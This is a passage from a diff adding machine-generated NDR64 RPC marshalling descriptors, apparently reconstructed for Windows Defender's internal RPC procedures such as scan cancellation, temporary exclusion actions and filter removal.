*/, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2364, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2364, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag2355_t __midl_frag2355 = +0x10 /* FC64_CHAR */; + +static const __midl_frag2354_t __midl_frag2354 = +{ +/* */ + (NDR64_UINT32) 0 /* 0x0 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */ /* Offset */ + } +}; + +static const __midl_frag2353_t __midl_frag2353 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2354 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag2352_t __midl_frag2352 = +{ +/* *char */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2353 +}; + +static const __midl_frag2351_t __midl_frag2351 = +{ +/* Proc234_ServerMpRpcSCCForceReset */ + { + /* Proc234_ServerMpRpcSCCForceReset */ /* procedure Proc234_ServerMpRpcSCCForceReset */ + (NDR64_UINT32) 19660864 /* 0x12c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2353, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag2346_t __midl_frag2346 = +{ +/* struct _NDR64_CONTEXT_HANDLE_FORMAT */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 65 /* 0x41 */, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 1 /* 0x1 */ +}; + +static const __midl_frag2345_t __midl_frag2345 = +{ +/* Proc233_ServerMpOnDemandCancelScan */ + { + /* Proc233_ServerMpOnDemandCancelScan */ /* procedure Proc233_ServerMpOnDemandCancelScan */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 44 /* 0x2c */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag2338_t __midl_frag2338 = +{ +/* Proc232_ServerMpRpcTemporaryExclusionAction */ + { + /* Proc232_ServerMpRpcTemporaryExclusionAction */ /* procedure Proc232_ServerMpRpcTemporaryExclusionAction */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2364, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag2333_t __midl_frag2333 = +{ +/* *long */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 12 /* 0xc */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2368 +}; + +static const __midl_frag2331_t __midl_frag2331 = +{ +/* */ + (NDR64_UINT32) 0 /* 0x0 */, + { + /* struct _NDR64_EXPR_OPERATOR */ + 0x4, /* FC_EXPR_OPER */ + 0x5, /* OP_UNARY_INDIRECTION */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */ /* Offset */ + } +}; + +static const __midl_frag2330_t __midl_frag2330 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2331 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag2329_t __midl_frag2329 = +{ +/* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2330 +}; + +static const __midl_frag2328_t __midl_frag2328 = +{ +/* **char */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2329 +}; + +static const __midl_frag2325_t __midl_frag2325 = +{ +/* */ + (NDR64_UINT32) 0 /* 0x0 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 24 /* 0x18 */ /* Offset */ + } +}; + +static const __midl_frag2324_t __midl_frag2324 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2325 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag2323_t __midl_frag2323 = +{ +/* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2324 +}; + +static const __midl_frag2321_t __midl_frag2321 = +{ +/* Proc231_ServerMpRpcWddControl */ + { + /* Proc231_ServerMpRpcWddControl */ /* procedure Proc231_ServerMpRpcWddControl */ + (NDR64_UINT32) 23986240 /* 0x16e0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 64 /* 0x40 */ , /* Stack size */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 7 /* 0x7 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2323, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2328, + { + /* arg_4 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2368, + { + /* arg_5 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag2367, + { + /* arg_6 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 56 /* 0x38 */, /* Stack offset */ + } +}; + +static const __midl_frag2316_t __midl_frag2316 = +{ +/* Proc230_ServerMpRpcSenseTriggerToast */ + { + /* Proc230_ServerMpRpcSenseTriggerToast */ /* procedure Proc230_ServerMpRpcSenseTriggerToast */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag2312_t __midl_frag2312 = +{ +/* *Struct_16_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag36 +}; + +static const __midl_frag2311_t __midl_frag2311 = +{ +/* Proc229_ServerMpRpcRemoveRnBWFPFilter */ + { + /* Proc229_ServerMpRpcRemoveRnBWFPFilter */ /* procedure Proc229_ServerMpRpcRemoveRnBWFPFilter */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag36, + { + /* arg_1 */ + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag2307_t __midl_frag2307 = +{ +/* *Struct_4918_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2304 +}; + +static const __midl_frag2306_t __midl_frag2306 = +{ +/* */ + { + /* struct _NDR64_FIX_ARRAY_HEADER_FORMAT */ + 0x40, /* FC64_FIX_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* struct _NDR64_FIX_ARRAY_HEADER_FORMAT */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */ + } +}; + +static const __midl_frag2305_t __midl_frag2305 = +{ +/* */ + { + /* struct _NDR64_FIX_ARRAY_HEADER_FORMAT */ + 0x40, /* FC64_FIX_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* struct _NDR64_FIX_ARRAY_HEADER_FORMAT */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */ + } +}; + +static const __midl_frag2304_t __midl_frag2304 = +{ +/* Struct_4918_t */ + { + /* Struct_4918_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 3 /* 0x3 */, + { + /* Struct_4918_t */ + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 56 /* 0x38 */, + 0, + 0, + 0, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x4, /* FC64_INT16 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x4, /* FC64_INT16 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2305 + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2306 + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x10, /* FC64_CHAR */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 1 /* 0x1 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x4, /* FC64_INT16 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x4, /* FC64_INT16 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x4, /* FC64_INT16 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x4, /* FC64_INT16 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 2 /* 0x2 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* Struct_4918_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 3 /* 0x3 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag2303_t __midl_frag2303 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_OPERATOR */ + 0x4, /* FC_EXPR_OPER */ + 0x5, /* OP_UNARY_INDIRECTION */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* 